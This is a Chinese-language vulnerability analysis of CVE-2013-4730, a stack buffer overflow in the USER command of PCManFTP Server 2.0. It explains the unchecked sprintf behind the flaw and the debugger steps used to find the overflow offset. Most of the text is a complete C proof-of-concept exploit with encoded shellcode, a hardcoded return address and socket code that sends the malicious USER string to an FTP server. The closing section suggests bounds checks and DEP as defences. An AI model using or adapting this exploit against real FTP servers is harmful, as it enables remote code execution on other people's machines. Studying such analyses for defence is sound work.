[漏洞分析]PCManFTP v2.0(CVE-2013-4730)漏洞分析及利用
软件名称:PCManFTP 软件版本:2.0 漏洞模块:PCManFTPD2.exe 模块版本:2.0.0.0 编译日期:2005-01-01 |
操作系统:Windows XP/2003/7/8.1/10 漏洞编号:CVE-2013-4730 危害等级:高危 漏洞类型:缓冲区溢出 威胁类型:远程 |
目录
1. 软件简介
2. 漏洞成因
3. 利用过程
4. PoC
5. 结语
1. 软件简介
PCMan's FTP Server是洪任谕程序员所研发的一套FTP服务器软件。该软件具有体积小、功能简单等特点。
2. 漏洞成因
PCMan's FTP Server 2.0.0版本中存在缓冲区溢出漏洞。此软件未能有效处理FTP命令的字符长度,进而引发栈溢出漏洞,导致攻击者可以远程执行任何命令,远程攻击者可借助USER命令中的长字符串利用该漏洞执行任意代码,详细分析如下:
使用OD附加调试,在recv处下断
发送登陆请求,成功断在recv处,栈回溯到调用处,使recv执行完毕,成功接收数据
继续分析,来到关键代码处,
此处是一个sprintf用于把接收的数据和一些其他数据格式化放入栈的空间0x12E568处,
此处没有对接收数据的长度做检查,有可能返回地址被接收到的数据覆盖从而发生栈溢出。
3. 利用过程
1、编写与FTP交互的代码
2、测试
使用mona插件生成一段3000字节长度的测试字符串,用于确定溢出点
3、触发溢出后,得到异常偏移
4、确定溢出点
4. PoC
寻找跳板指令
构建一个字符串:“USER ”+ 垃圾指令 + 跳板指令地址 + shellcode代码,源码如下:
1 char bShellCode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ 2 \x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9\x17\x01\x8A\x04\x0E\ 3 \x34\x0B\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x0B\xFF\xE6\x88\xE7\x7B\xE0\x47\x43\x6E\x67\ 4 \x67\x64\x2B\x3A\x3E\x5B\x49\x0B\x4E\x73\x62\x7F\x5B\x79\x64\x68\x6E\x78\x78\x0B\x46\ 5 \x6E\x78\x78\x6A\x6C\x6E\x49\x64\x73\x4A\x0B\x47\x64\x6A\x6F\x47\x62\x69\x79\x6A\x79\ 6 \x72\x4E\x73\x4A\x0B\x7E\x78\x6E\x79\x38\x39\x25\x6F\x67\x67\x0B\x4C\x6E\x7F\x5B\x79\ 7 \x64\x68\x4A\x6F\x6F\x79\x6E\x78\x78\x0B\xE3\x0B\x0B\x0B\x0B\x54\x5C\x6F\x80\x3E\x3B\ 8 \x0B\x0B\x0B\x80\x7D\x07\x80\x7D\x17\x80\x3D\x80\x55\x03\x80\x78\x37\x08\xF8\x80\x7D\ 9 \x73\x08\xF8\x80\x5D\x13\x80\x4D\x17\x08\xC8\x80\x75\x2F\x08\xF0\x5C\x80\x7D\x2B\x08\ 10 \xF8\x38\xC2\x80\x37\x85\x08\xF0\xE0\x0C\x30\xC1\x4A\x7E\xFF\xE0\x12\x5A\x5D\x80\xFC\ 11 \x80\x77\x2F\x07\x88\xE4\x1F\xB2\x04\x0B\x0B\x0B\xF7\xF8\xAD\x55\x52\x7F\x08\xE0\xEB\ 12 \xC8\x54\x86\x07\x44\x04\xBC\x02\x80\x0F\x83\x08\xC8\x5B\x58\x80\x77\x2F\x03\x88\xE4\ 13 \x25\x5C\x58\xF4\xDB\x80\x77\x2F\x03\x88\xE4\x14\x61\x0B\x61\x0B\x5C\xF4\xDB\x80\x77\ 14 \x2F\x03\x88\xE4\x31\x80\x7F\x2F\x0F\x5C\x5B\xF4\xDD\x5B\x80\x77\x2F\x07\x88\xE4\x4D\ 15 \x80\x7F\x2F\x03\x80\x57\x2F\x0F\x5C\x58\xF4\xDD\x5B\x80\x77\x2F\x1B\x86\x4C\xA4\x80\ 16 \x57\x2F\x0F\x61\x0B\x5B\x5B\x61\x0B\xF4\xD8\x80\x07\x2F\x61\x0B\xF4\xDA\x0B"; 17 18 int main() 19 { 20 WSADATA wsadata = { 0 }; 21 WSAStartup(0x0202, &wsadata); 22 23 SOCKET sClient = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); 24 25 sockaddr_in si = { 0 }; 26 27 si.sin_family = AF_INET; 28 si.sin_port = htons(21); 29 si.sin_addr.S_un.S_addr = inet_addr("192.168.79.131"); 30 connect(sClient, (sockaddr*)&si, sizeof(sockaddr_in)); 31 32 //4.接受欢迎语 33 char szRecv[100] = { 0 }; 34 recv(sClient, szRecv, 100, 0); 35 36 // USER + szFill + szRetnAddr + nop + ShellCode 37 char szSend[5000] = { 0 }; 38 char szFill[2004] = { 0 }; 39 memset(szFill, 0xAA, 2003); 40 41 char szRetnAddr[] = "\xF7\xF7\x86\x76"; //跳板指令地址 42 char szNop[30] = { 0 }; 43 memset(szNop, 0x90, 29); 44 45 sprintf_s(szSend, 5000, "%s%s%s%s%s%s", "USER ", szFill, szRetnAddr, szNop, bShellCode, "\r\n"); 46 47 //5.发送登录请求 48 send(sClient, szSend, strlen(szSend), 0); 49 50 closesocket(sClient); 51 52 WSACleanup(); 53 return 0; 54 }
测试成功效果:
5. 结语
此漏洞是由于将客户端的命令使用sprintf时没有进行命令长度的检测,导致缓冲区溢出的发生,缓冲区溢出一般是没有进行边界检查,或使用了不安全的函数,避免这个情况或开启DEP保护可大大提高安全性。